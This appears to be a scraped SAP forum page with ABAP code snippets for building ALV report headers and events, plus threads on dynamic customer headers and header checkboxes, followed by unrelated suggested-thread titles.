    CLEAR : HLINE,TEXT.
    HLINE-TYP = 'H'.
    WRITE 'ROOTS INDUSTRIES LTD' TO TEXT.
    HLINE-INFO = TEXT.
    APPEND HLINE TO LIST_HEADER.
    SELECT SINGLE * FROM T001W WHERE WERKS = WERKS.
    CLEAR : HLINE,TEXT.
    HLINE-TYP = 'H'.
    WRITE 'PLANT :' TO TEXT.
    WRITE WERKS TO TEXT+8.
    HLINE-INFO = TEXT.
    APPEND HLINE TO LIST_HEADER.
    CLEAR : HLINE,TEXT.
    HLINE-TYP = 'H'.
    WRITE T001W-NAME1 TO TEXT.
    HLINE-INFO = TEXT.
    APPEND HLINE TO LIST_HEADER.
    CLEAR : HLINE,TEXT.
    HLINE-TYP = 'H'.
    WRITE T001W-STRAS TO TEXT.
    HLINE-INFO = TEXT.
    APPEND HLINE TO LIST_HEADER.
    CLEAR : HLINE,TEXT.
    HLINE-TYP = 'H'.
    WRITE T001W-ORT01 TO TEXT.
    HLINE-INFO = TEXT.
    APPEND HLINE TO LIST_HEADER.
    CLEAR : HLINE,TEXT.
    HLINE-TYP = 'H'.
    WRITE 'DATE :' TO TEXT.
    WRITE BUDAT-LOW TO TEXT+7.
    IF BUDAT-HIGH NE ''.
    WRITE 'TO' TO TEXT+18.
    WRITE BUDAT-HIGH TO TEXT+22.
    ENDIF.
    HLINE-INFO = TEXT.
    APPEND HLINE TO LIST_HEADER.
    ENDFORM. "TOP_OF_PAGE_LIST_HEADER
    *& Form ALV_EVENT_INIT
    text
    FORM ALV_EVENT_INIT .
    CLEAR ALV_EVENT.
    ALV_EVENT-NAME = SLIS_EV_TOP_OF_PAGE.
    ALV_EVENT-FORM = 'ALV_TOP_OF_PAGE'.
    APPEND ALV_EVENT TO EVENTCAT.
    CLEAR ALV_EVENT.
    ALV_EVENT-NAME = SLIS_EV_TOP_OF_LIST.
    ALV_EVENT-FORM = 'ALV_TOP_OF_LIST'.
    APPEND ALV_EVENT TO EVENTCAT.
    CLEAR ALV_EVENT.
    ALV_EVENT-NAME = SLIS_EV_END_OF_LIST.
    ALV_EVENT-FORM = 'ALV_END_OF_LIST'.
    APPEND ALV_EVENT TO GT_EVENTS.
    CLEAR ALV_EVENT.
    ALV_EVENT-NAME = SLIS_EV_END_OF_PAGE.
    ALV_EVENT-FORM = 'ALV_END_OF_PAGE'.
    APPEND ALV_EVENT TO GT_EVENTS.
    ENDFORM. "ALV_EVENT_INIT
    *& Form ALV_TOP_OF_PAGE
    text
    FORM ALV_TOP_OF_PAGE.
    CALL FUNCTION 'REUSE_ALV_COMMENTARY_WRITE'
    EXPORTING
    IT_LIST_COMMENTARY = LIST_HEADER
    I_LOGO = 'ENJOYSAP_LOGO'.
    ENDFORM. "ALV_TOP_OF_PAGE
    *& Form BUILD_EVENT
    text
    -->P_GT_EVENTS[] text
    FORM BUILD_EVENT USING P_EVENTS TYPE SLIS_T_EVENT.
    CALL FUNCTION 'REUSE_ALV_EVENTS_GET'
    EXPORTING
    I_LIST_TYPE = 0
    IMPORTING
    ET_EVENTS = P_EVENTS
    EXCEPTIONS
    LIST_TYPE_WRONG = 1
    OTHERS = 2.
    READ TABLE P_EVENTS WITH KEY NAME = SLIS_EV_USER_COMMAND INTO
    ALV_EVENT.
    IF SY-SUBRC = 0.
    MOVE GC_FORMNAME_USER_COMMAND TO ALV_EVENT-FORM.
    APPEND ALV_EVENT TO P_EVENTS.
    ENDIF.
    READ TABLE P_EVENTS WITH KEY NAME = SLIS_EV_BEFORE_LINE_OUTPUT INTO
    ALV_EVENT.
    IF SY-SUBRC = 0.
    MOVE GC_FORMNAME_BEFORE_OUTPUT TO ALV_EVENT-FORM.
    APPEND ALV_EVENT TO P_EVENTS.
    ENDIF.
    ENDFORM. " BUILD_EVENT
    with regards,
    Hema Sundara.
    pls give points if helpful.

  • To change alv header dynamically

    Hello!
    I need to change header of alv according to internal table in herarical alv .
    as internal table having 10 kunnr ,i need every kunnr name at the header level.
    please guide me how is it possible.
    surely points will be awarded.
    Priya.

    Hi,
    Use the below code and declare as below :
    data : gt_listheader TYPE slis_t_listheader,
             gs_line TYPE slis_listheader,
      PERFORM f_build_alv_title USING gt_listheader[].
    *&      Form  f_build_alv_title
    *       text : ALV Header Section
    FORM f_build_alv_title
        USING lt_top_of_page
        TYPE slis_t_listheader.
      CLEAR gs_line.
    *Customer Number
      if not itab[] is initial.
    loop at itab.
        CLEAR: gs_line.
        gs_line-typ  = s.
        gs_line-key  = 'Customer'(015).
        gs_line-info = itab-kunnr.
        APPEND gs_line TO lt_top_of_page.
    endloop.
    endif.
       CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
             EXPORTING
               i_callback_program                = gv_repid
               i_callback_user_command           = 'F_USER_COMMAND'
               i_callback_top_of_page            = 'TOP_OF_PAGE'
               is_layout                         = gt_layout
               it_fieldcat                       = gt_fieldcat[]
               it_sort                           = gt_sort[]
               i_save                            = 'A'
               it_events                         = gt_event[]
        TABLES
          t_outtab                          = gt_output
             EXCEPTIONS
               program_error                     = 1
               OTHERS                            = 2
      IF sy-subrc <> 0.
        MESSAGE ID sy-msgid TYPE sy-msgty NUMBER sy-msgno
                WITH sy-msgv1 sy-msgv2 sy-msgv3 sy-msgv4.
      ENDIF.
    *&      Form  top_of_page
    *       text : Top of Page event
    FORM top_of_page.
      CALL FUNCTION 'REUSE_ALV_COMMENTARY_WRITE'
        EXPORTING
          it_list_commentary = gt_listheader.
    ENDFORM.                    "TOP_OF_PAGE
    Thanks,
    Sriram Ponna.
    Message was edited by:
            Sriram Ponna
    Message was edited by:
            Sriram Ponna

  • Regarding CehckBox at ALV header

    Hi,
    know that we can have checkbox in column in ALV by using class CL_SALV_WD_UIE_CHECKBOX.
    But want to have CheckBox at ALV header like we can have button by using class  CL_SALV_WD_FE_BUTTON.
    Is it possible to have CheckBox at ALV header.
    If yes than how?
    Thanks & Regards,
    Arvind

    Unfortunately, I don't see any class for Checkbox
    CL_SALV_WD_FE_A_BUTTON
    CL_SALV_WD_FE_A_BUTTON_CHOICE
    CL_SALV_WD_FE_A_CAPTION
    CL_SALV_WD_FE_A_DRDN_BY_INDEX
    CL_SALV_WD_FE_A_DRDN_BY_KEY
    CL_SALV_WD_FE_A_DROPDOWN
    CL_SALV_WD_FE_A_INPUT
    CL_SALV_WD_FE_A_LINK
    CL_SALV_WD_FE_A_TOGGLE
    CL_SALV_WD_FE_A_TOGGLE_BUTTON
    CL_SALV_WD_FE_BUTTON
    CL_SALV_WD_FE_BUTTON_CHOICE
    CL_SALV_WD_FE_DROPDOWN_BY_IDX
    CL_SALV_WD_FE_DROPDOWN_BY_KEY
    CL_SALV_WD_FE_INPUT_FIELD
    CL_SALV_WD_FE_INTERACTIVE
    CL_SALV_WD_FE_LINK_TO_ACTION
    CL_SALV_WD_FE_LINK_TO_URL
    CL_SALV_WD_FE_SEPARATOR
    CL_SALV_WD_FE_TOGGLE_BUTTON

Maybe you are looking for

  • Battery issue still exists despite apple giving me a new 4s

    As some of you have read my last post, I had a brand new 4s that was getting 2.5 to max 3.0 hours of battery time.  Battery draw was 40 percent per hour. Yes, I tried ALL the suggestions, all of them. At the end, I had everything turned off from loc

  • Oracle 32 on Windows  64

    I'm new in Oracle. Today i see that a client have a Oracle 10g 32 bit installed on Windows 64 bit. He say me that oracle is not increase memory, and when it try with value close to 3,5 GB, the oracle give a error. I think that the fact of Oracle is 3

  • "Improved" iTunes 9  still crasheds/won't load

    I downloaded itunes 9 when it first came out and it crashed every time, so I dumped it and went back to version 8. I downloaded the "fix" and it still crashes. I have yet to see what the new version looks like, much less what it does. I'm running OS1

  • Can't transfer a purchased video onto my iPhone

    I bought a 5 minute music video from the iTunes store. Plays fine on my PC using iTunes. Moved it to my "Favorites" playlist as that has the playlist I sync to my iPhone (the rest of the list is music). The video is listed in the Favorites list in iT

  • How to stop getting prompted to "Confirm"

    Hello, I have some Windows Server 2008 systems that I'm trying to run a powershell script on to delete some temp files, but I keep getting prompted with "Confirm... Y [Yes] [A] Yes to All...... ect"  Is there a way to bypass the Confirm? Thanks, Tom